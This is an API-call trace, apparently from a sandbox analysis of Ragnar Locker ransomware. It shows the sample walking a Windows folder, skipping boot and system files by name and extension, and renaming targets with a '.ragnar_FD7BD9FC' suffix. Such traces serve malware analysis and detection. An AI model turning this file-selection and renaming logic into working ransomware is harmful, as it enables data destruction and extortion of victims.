lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" [0058.780] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.ragnar_FD7BD9FC" [0058.780] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0058.781] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.781] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsesp.xml" | out: lpString1="ipsesp.xml") returned="ipsesp.xml" [0058.781] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned=".xml" [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="autorun.inf") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="boot.ini") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootfont.bin") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootsect.bak") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootmgr") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootmgr.efi") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="bootmgfw.efi") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="desktop.ini") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="iconcache.db") returned 1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ntldr") returned -1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ntuser.dat") returned -1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ntuser.dat.log") returned -1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="ntuser.ini") returned -1 [0058.781] lstrcmpiW (lpString1="ipsesp.xml", lpString2="thumbs.db") returned -1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.781] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0058.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.782] CloseHandle (hObject=0xffffffff) returned 0 [0058.782] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" [0058.782] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.ragnar_FD7BD9FC" [0058.782] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0058.782] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.782] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IPSEventLogMsg.dll" | out: lpString1="IPSEventLogMsg.dll") returned="IPSEventLogMsg.dll" [0058.782] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned=".dll" [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="autorun.inf") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="boot.ini") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootfont.bin") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootsect.bak") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootmgr") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootmgr.efi") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="bootmgfw.efi") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="desktop.ini") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="iconcache.db") returned 1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ntldr") returned -1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ntuser.dat") returned -1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ntuser.dat.log") returned -1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="ntuser.ini") returned -1 [0058.782] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="thumbs.db") returned -1 [0058.782] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.782] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.782] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.782] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0058.783] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.783] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsfin.xml" | out: lpString1="ipsfin.xml") returned="ipsfin.xml" [0058.783] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned=".xml" [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="autorun.inf") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="boot.ini") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootfont.bin") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootsect.bak") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootmgr") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootmgr.efi") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootmgfw.efi") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="desktop.ini") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="iconcache.db") returned 1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ntldr") returned -1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ntuser.dat") returned -1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ntuser.dat.log") returned -1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ntuser.ini") returned -1 [0058.783] lstrcmpiW (lpString1="ipsfin.xml", lpString2="thumbs.db") returned -1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.783] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0058.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.784] CloseHandle (hObject=0xffffffff) returned 0 [0058.784] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" [0058.784] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.ragnar_FD7BD9FC" [0058.784] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.784] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0058.784] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.784] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsfra.xml" | out: lpString1="ipsfra.xml") returned="ipsfra.xml" [0058.784] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned=".xml" [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="autorun.inf") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="boot.ini") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootfont.bin") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootsect.bak") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootmgr") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootmgr.efi") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootmgfw.efi") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="desktop.ini") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="iconcache.db") returned 1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ntldr") returned -1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ntuser.dat") returned -1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ntuser.dat.log") returned -1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ntuser.ini") returned -1 [0058.784] lstrcmpiW (lpString1="ipsfra.xml", lpString2="thumbs.db") returned -1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.784] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.785] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0058.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.789] CloseHandle (hObject=0xffffffff) returned 0 [0058.789] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" [0058.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.ragnar_FD7BD9FC" [0058.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.791] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0058.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.791] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipshrv.xml" | out: lpString1="ipshrv.xml") returned="ipshrv.xml" [0058.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned=".xml" [0058.791] lstrcmpiW (lpString1="ipshrv.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.791] lstrcmpiW (lpString1="ipshrv.xml", lpString2="autorun.inf") returned 1 [0058.791] lstrcmpiW (lpString1="ipshrv.xml", lpString2="boot.ini") returned 1 [0058.791] lstrcmpiW (lpString1="ipshrv.xml", lpString2="bootfont.bin") returned 1 [0058.791] lstrcmpiW (lpString1="ipshrv.xml", lpString2="bootsect.bak") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="bootmgr") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="bootmgr.efi") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="bootmgfw.efi") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="desktop.ini") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="iconcache.db") returned 1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ntldr") returned -1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ntuser.dat") returned -1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ntuser.dat.log") returned -1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ntuser.ini") returned -1 [0058.792] lstrcmpiW (lpString1="ipshrv.xml", lpString2="thumbs.db") returned -1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.792] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0058.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.792] CloseHandle (hObject=0xffffffff) returned 0 [0058.792] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" [0058.792] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.ragnar_FD7BD9FC" [0058.793] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.793] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0058.793] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.793] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipsita.xml" | out: lpString1="ipsita.xml") returned="ipsita.xml" [0058.793] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned=".xml" [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="autorun.inf") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="boot.ini") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootfont.bin") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootsect.bak") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootmgr") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootmgr.efi") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootmgfw.efi") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="desktop.ini") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="iconcache.db") returned 1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="ntldr") returned -1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="ntuser.dat") returned -1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="ntuser.dat.log") returned -1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="ntuser.ini") returned -1 [0058.793] lstrcmpiW (lpString1="ipsita.xml", lpString2="thumbs.db") returned -1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.793] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0058.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.794] CloseHandle (hObject=0xffffffff) returned 0 [0058.794] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" [0058.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.ragnar_FD7BD9FC" 